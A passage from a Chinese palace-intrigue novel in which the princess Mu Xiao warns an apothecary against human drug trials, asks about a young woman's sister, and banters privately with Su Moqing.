牧晓听后微微一笑，亦起身回礼，惊得黄连把腰弯得更低了几分。 “而后，关于二位之间的恩怨纠葛。”牧晓看着暮药师笑道，“暮药师，远近亲疏你不会看不明白。这种事想从我这里找一个公道、让我给你们评评理是不可能的。但你要是想在我府里对任何人动手，都一定，一定要考虑好后果。” “我不会替你们评判追究，好奇时自然会自行询问。” “你现在是宫里派来的人，你要有个三长两短，我不好交代。”但也不是不能交代。 “不过，直白点说，我不可能赞同你凭自己的喜好折磨病人、乱用人试药这点。要真让我发现你在京城做了什么不该做的事，不要妄想我会包庇——那是宫里和三法司该评判的事。” “要救人就好好救，要教人就好好教，要做生意就好好做。这几点我支持。” “希望暮药师也能恪守自己刚才的诺言，安度晚年。” 牧晓说完，见暮药师也安定下来，想了想，问黄连：“黄连姑娘，你妹妹可要一同来公主府？” 黄连答道：“黄芪在百听阁拜了位师傅。就是送我们来的那位闻絮姑娘。若是闻絮姑娘要送暮药师回去，若是殿下不召，我妹妹应该不会因为我而来。” 牧晓原以为这对相依为命的姐妹会一直形影不离、在同一领域修习，未曾想她们这么快就做出了不同的选择，不由得生出几分感慨之意。 二人与被连冬赶过来的闻絮一同走出议事堂，各去各处。 议事堂中剩下牧晓与苏墨清二人。 “解释得这样明白，你是真的想让她做些什么？”苏墨清开口问。 “自然。原觉得她和她妹妹可以置身事外。但既然她们拜了这样的两位师傅，置身事外已经是不可能的。”牧晓回完，走到他身前，扣住他的手，笑道，“这么快就开口……就这么想转移话题？” “你不知道越不想让我知道什么，我越好奇这个道理么？” “换个地方，我们慢慢聊。”